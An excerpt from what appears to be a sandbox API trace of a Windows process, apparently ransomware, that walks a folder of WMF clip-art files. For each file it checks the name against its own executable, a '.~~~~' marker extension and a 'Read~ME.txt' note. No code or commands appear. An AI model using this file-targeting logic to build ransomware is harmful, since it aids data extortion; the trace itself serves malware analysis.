	[0084.671] lstrcmpW (lpString1="J0107138.WMF", lpString2="oiikyy.exe") returned -1
	[0084.671] StrStrW (lpFirst="J0107138.WMF", lpSrch=".~~~~") returned 0x0
	[0084.671] lstrcmpW (lpString1="J0107138.WMF", lpString2="Read~ME.txt") returned -1
	[0084.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.671] GetCurrentThreadId () returned 0x618
	[0084.671] RtlWakeConditionVariable () returned 0x365f48
	[0084.671] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107146.WMF", cAlternateFileName="")) returned 1
	[0084.671] lstrcmpiW (lpString1="J0107146.WMF", lpString2="Windows") returned -1
	[0084.671] lstrcmpW (lpString1="J0107146.WMF", lpString2="oiikyy.exe") returned -1
	[0084.671] StrStrW (lpFirst="J0107146.WMF", lpSrch=".~~~~") returned 0x0
	[0084.671] lstrcmpW (lpString1="J0107146.WMF", lpString2="Read~ME.txt") returned -1
	[0084.671] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.671] GetCurrentThreadId () returned 0x618
	[0084.671] RtlWakeConditionVariable () returned 0x365f48
	[0084.671] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1
	[0084.671] lstrcmpiW (lpString1="J0107148.WMF", lpString2="Windows") returned -1
	[0084.671] lstrcmpW (lpString1="J0107148.WMF", lpString2="oiikyy.exe") returned -1
	[0084.671] StrStrW (lpFirst="J0107148.WMF", lpSrch=".~~~~") returned 0x0
	[0084.672] lstrcmpW (lpString1="J0107148.WMF", lpString2="Read~ME.txt") returned -1
	[0084.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.672] GetCurrentThreadId () returned 0x618
	[0084.672] RtlWakeConditionVariable () returned 0x365f48
	[0084.672] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1
	[0084.672] lstrcmpiW (lpString1="J0107150.WMF", lpString2="Windows") returned -1
	[0084.672] lstrcmpW (lpString1="J0107150.WMF", lpString2="oiikyy.exe") returned -1
	[0084.672] StrStrW (lpFirst="J0107150.WMF", lpSrch=".~~~~") returned 0x0
	[0084.672] lstrcmpW (lpString1="J0107150.WMF", lpString2="Read~ME.txt") returned -1
	[0084.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.672] GetCurrentThreadId () returned 0x618
	[0084.672] RtlWakeConditionVariable () returned 0x365f48
	[0084.672] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1
	[0084.672] lstrcmpiW (lpString1="J0107152.WMF", lpString2="Windows") returned -1
	[0084.672] lstrcmpW (lpString1="J0107152.WMF", lpString2="oiikyy.exe") returned -1
	[0084.672] StrStrW (lpFirst="J0107152.WMF", lpSrch=".~~~~") returned 0x0
	[0084.672] lstrcmpW (lpString1="J0107152.WMF", lpString2="Read~ME.txt") returned -1
	[0084.672] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.672] GetCurrentThreadId () returned 0x618
	[0084.672] RtlWakeConditionVariable () returned 0x365f48
	[0084.672] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1
	[0084.672] lstrcmpiW (lpString1="J0107154.WMF", lpString2="Windows") returned -1
	[0084.672] lstrcmpW (lpString1="J0107154.WMF", lpString2="oiikyy.exe") returned -1
	[0084.673] StrStrW (lpFirst="J0107154.WMF", lpSrch=".~~~~") returned 0x0
	[0084.673] lstrcmpW (lpString1="J0107154.WMF", lpString2="Read~ME.txt") returned -1
	[0084.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.673] GetCurrentThreadId () returned 0x618
	[0084.673] RtlWakeConditionVariable () returned 0x365f48
	[0084.673] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1
	[0084.673] lstrcmpiW (lpString1="J0107158.WMF", lpString2="Windows") returned -1
	[0084.673] lstrcmpW (lpString1="J0107158.WMF", lpString2="oiikyy.exe") returned -1
	[0084.673] StrStrW (lpFirst="J0107158.WMF", lpSrch=".~~~~") returned 0x0
	[0084.673] lstrcmpW (lpString1="J0107158.WMF", lpString2="Read~ME.txt") returned -1
	[0084.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.673] GetCurrentThreadId () returned 0x618
	[0084.673] RtlWakeConditionVariable () returned 0x365f48
	[0084.673] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1
	[0084.673] lstrcmpiW (lpString1="J0107182.WMF", lpString2="Windows") returned -1
	[0084.673] lstrcmpW (lpString1="J0107182.WMF", lpString2="oiikyy.exe") returned -1
	[0084.673] StrStrW (lpFirst="J0107182.WMF", lpSrch=".~~~~") returned 0x0
	[0084.673] lstrcmpW (lpString1="J0107182.WMF", lpString2="Read~ME.txt") returned -1
	[0084.673] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.673] GetCurrentThreadId () returned 0x618
	[0084.673] RtlWakeConditionVariable () returned 0x365f48
	[0084.673] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1
	[0084.673] lstrcmpiW (lpString1="J0107188.WMF", lpString2="Windows") returned -1
	[0084.674] lstrcmpW (lpString1="J0107188.WMF", lpString2="oiikyy.exe") returned -1
	[0084.674] StrStrW (lpFirst="J0107188.WMF", lpSrch=".~~~~") returned 0x0
	[0084.674] lstrcmpW (lpString1="J0107188.WMF", lpString2="Read~ME.txt") returned -1
	[0084.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.674] GetCurrentThreadId () returned 0x618
	[0084.674] RtlWakeConditionVariable () returned 0x365f48
	[0084.674] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1
	[0084.674] lstrcmpiW (lpString1="J0107192.WMF", lpString2="Windows") returned -1
	[0084.674] lstrcmpW (lpString1="J0107192.WMF", lpString2="oiikyy.exe") returned -1
	[0084.674] StrStrW (lpFirst="J0107192.WMF", lpSrch=".~~~~") returned 0x0
	[0084.674] lstrcmpW (lpString1="J0107192.WMF", lpString2="Read~ME.txt") returned -1
	[0084.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.674] GetCurrentThreadId () returned 0x618
	[0084.674] RtlWakeConditionVariable () returned 0x365f48
	[0084.674] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107254.WMF", cAlternateFileName="")) returned 1
	[0084.674] lstrcmpiW (lpString1="J0107254.WMF", lpString2="Windows") returned -1
	[0084.674] lstrcmpW (lpString1="J0107254.WMF", lpString2="oiikyy.exe") returned -1
	[0084.674] StrStrW (lpFirst="J0107254.WMF", lpSrch=".~~~~") returned 0x0
	[0084.674] lstrcmpW (lpString1="J0107254.WMF", lpString2="Read~ME.txt") returned -1
	[0084.674] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.674] GetCurrentThreadId () returned 0x618
	[0084.674] RtlWakeConditionVariable () returned 0x365f48
	[0084.674] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107258.WMF", cAlternateFileName="")) returned 1
	[0084.675] lstrcmpiW (lpString1="J0107258.WMF", lpString2="Windows") returned -1
	[0084.675] lstrcmpW (lpString1="J0107258.WMF", lpString2="oiikyy.exe") returned -1
	[0084.675] StrStrW (lpFirst="J0107258.WMF", lpSrch=".~~~~") returned 0x0
	[0084.675] lstrcmpW (lpString1="J0107258.WMF", lpString2="Read~ME.txt") returned -1
	[0084.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.675] GetCurrentThreadId () returned 0x618
	[0084.675] RtlWakeConditionVariable () returned 0x365f48
	[0084.675] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107262.WMF", cAlternateFileName="")) returned 1
	[0084.675] lstrcmpiW (lpString1="J0107262.WMF", lpString2="Windows") returned -1
	[0084.675] lstrcmpW (lpString1="J0107262.WMF", lpString2="oiikyy.exe") returned -1
	[0084.675] StrStrW (lpFirst="J0107262.WMF", lpSrch=".~~~~") returned 0x0
	[0084.675] lstrcmpW (lpString1="J0107262.WMF", lpString2="Read~ME.txt") returned -1
	[0084.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.675] GetCurrentThreadId () returned 0x618
	[0084.675] RtlWakeConditionVariable () returned 0x365f48
	[0084.675] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107264.WMF", cAlternateFileName="")) returned 1
	[0084.675] lstrcmpiW (lpString1="J0107264.WMF", lpString2="Windows") returned -1
	[0084.675] lstrcmpW (lpString1="J0107264.WMF", lpString2="oiikyy.exe") returned -1
	[0084.675] StrStrW (lpFirst="J0107264.WMF", lpSrch=".~~~~") returned 0x0
	[0084.675] lstrcmpW (lpString1="J0107264.WMF", lpString2="Read~ME.txt") returned -1
	[0084.675] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.675] GetCurrentThreadId () returned 0x618
	[0084.675] RtlWakeConditionVariable () returned 0x365f48
	[0084.675] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107266.WMF", cAlternateFileName="")) returned 1
	[0084.676] lstrcmpiW (lpString1="J0107266.WMF", lpString2="Windows") returned -1
	[0084.676] lstrcmpW (lpString1="J0107266.WMF", lpString2="oiikyy.exe") returned -1
	[0084.676] StrStrW (lpFirst="J0107266.WMF", lpSrch=".~~~~") returned 0x0
	[0084.676] lstrcmpW (lpString1="J0107266.WMF", lpString2="Read~ME.txt") returned -1
	[0084.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.676] GetCurrentThreadId () returned 0x618
	[0084.676] RtlWakeConditionVariable () returned 0x365f48
	[0084.676] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1
	[0084.676] lstrcmpiW (lpString1="J0107280.WMF", lpString2="Windows") returned -1
	[0084.676] lstrcmpW (lpString1="J0107280.WMF", lpString2="oiikyy.exe") returned -1
	[0084.676] StrStrW (lpFirst="J0107280.WMF", lpSrch=".~~~~") returned 0x0
	[0084.676] lstrcmpW (lpString1="J0107280.WMF", lpString2="Read~ME.txt") returned -1
	[0084.676] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.676] GetCurrentThreadId () returned 0x618
	[0084.676] RtlWakeConditionVariable () returned 0x365f48
	[0084.676] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1
	[0084.677] lstrcmpiW (lpString1="J0107282.WMF", lpString2="Windows") returned -1
	[0084.677] lstrcmpW (lpString1="J0107282.WMF", lpString2="oiikyy.exe") returned -1
	[0084.677] StrStrW (lpFirst="J0107282.WMF", lpSrch=".~~~~") returned 0x0
	[0084.677] lstrcmpW (lpString1="J0107282.WMF", lpString2="Read~ME.txt") returned -1
	[0084.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.677] GetCurrentThreadId () returned 0x618
	[0084.677] RtlWakeConditionVariable () returned 0x365f48
	[0084.677] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1
	[0084.677] lstrcmpiW (lpString1="J0107288.WMF", lpString2="Windows") returned -1
	[0084.677] lstrcmpW (lpString1="J0107288.WMF", lpString2="oiikyy.exe") returned -1
	[0084.677] StrStrW (lpFirst="J0107288.WMF", lpSrch=".~~~~") returned 0x0
	[0084.677] lstrcmpW (lpString1="J0107288.WMF", lpString2="Read~ME.txt") returned -1
	[0084.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.677] GetCurrentThreadId () returned 0x618
	[0084.677] RtlWakeConditionVariable () returned 0x365f48
	[0084.677] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1
	[0084.677] lstrcmpiW (lpString1="J0107290.WMF", lpString2="Windows") returned -1
	[0084.677] lstrcmpW (lpString1="J0107290.WMF", lpString2="oiikyy.exe") returned -1
	[0084.677] StrStrW (lpFirst="J0107290.WMF", lpSrch=".~~~~") returned 0x0
	[0084.677] lstrcmpW (lpString1="J0107290.WMF", lpString2="Read~ME.txt") returned -1
	[0084.677] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.677] GetCurrentThreadId () returned 0x618
	[0084.677] RtlWakeConditionVariable () returned 0x365f48
	[0084.677] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1
	[0084.678] lstrcmpiW (lpString1="J0107300.WMF", lpString2="Windows") returned -1
	[0084.678] lstrcmpW (lpString1="J0107300.WMF", lpString2="oiikyy.exe") returned -1
	[0084.678] StrStrW (lpFirst="J0107300.WMF", lpSrch=".~~~~") returned 0x0
	[0084.678] lstrcmpW (lpString1="J0107300.WMF", lpString2="Read~ME.txt") returned -1
	[0084.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.678] GetCurrentThreadId () returned 0x618
	[0084.678] RtlWakeConditionVariable () returned 0x365f48
	[0084.678] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1
	[0084.678] lstrcmpiW (lpString1="J0107302.WMF", lpString2="Windows") returned -1
	[0084.678] lstrcmpW (lpString1="J0107302.WMF", lpString2="oiikyy.exe") returned -1
	[0084.678] StrStrW (lpFirst="J0107302.WMF", lpSrch=".~~~~") returned 0x0
	[0084.678] lstrcmpW (lpString1="J0107302.WMF", lpString2="Read~ME.txt") returned -1
	[0084.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.678] GetCurrentThreadId () returned 0x618
	[0084.678] RtlWakeConditionVariable () returned 0x365f48
	[0084.678] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1
	[0084.678] lstrcmpiW (lpString1="J0107308.WMF", lpString2="Windows") returned -1
	[0084.678] lstrcmpW (lpString1="J0107308.WMF", lpString2="oiikyy.exe") returned -1
	[0084.678] StrStrW (lpFirst="J0107308.WMF", lpSrch=".~~~~") returned 0x0
	[0084.678] lstrcmpW (lpString1="J0107308.WMF", lpString2="Read~ME.txt") returned -1
	[0084.678] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.678] GetCurrentThreadId () returned 0x618
	[0084.678] RtlWakeConditionVariable () returned 0x365f48
	[0084.678] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1
	[0084.679] lstrcmpiW (lpString1="J0107314.WMF", lpString2="Windows") returned -1
	[0084.679] lstrcmpW (lpString1="J0107314.WMF", lpString2="oiikyy.exe") returned -1
	[0084.679] StrStrW (lpFirst="J0107314.WMF", lpSrch=".~~~~") returned 0x0
	[0084.679] lstrcmpW (lpString1="J0107314.WMF", lpString2="Read~ME.txt") returned -1
	[0084.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.679] GetCurrentThreadId () returned 0x618
	[0084.679] RtlWakeConditionVariable () returned 0x365f48
	[0084.679] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1
	[0084.728] lstrcmpiW (lpString1="J0107316.WMF", lpString2="Windows") returned -1
	[0084.728] lstrcmpW (lpString1="J0107316.WMF", lpString2="oiikyy.exe") returned -1
	[0084.728] StrStrW (lpFirst="J0107316.WMF", lpSrch=".~~~~") returned 0x0
	[0084.728] lstrcmpW (lpString1="J0107316.WMF", lpString2="Read~ME.txt") returned -1
	[0084.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.729] GetCurrentThreadId () returned 0x618
	[0084.729] RtlWakeConditionVariable () returned 0x365f48
	[0084.729] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1
	[0084.729] lstrcmpiW (lpString1="J0107328.WMF", lpString2="Windows") returned -1
	[0084.729] lstrcmpW (lpString1="J0107328.WMF", lpString2="oiikyy.exe") returned -1
	[0084.729] StrStrW (lpFirst="J0107328.WMF", lpSrch=".~~~~") returned 0x0
	[0084.729] lstrcmpW (lpString1="J0107328.WMF", lpString2="Read~ME.txt") returned -1
	[0084.729] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.729] GetCurrentThreadId () returned 0x618
	[0084.729] RtlWakeConditionVariable () returned 0x365f48
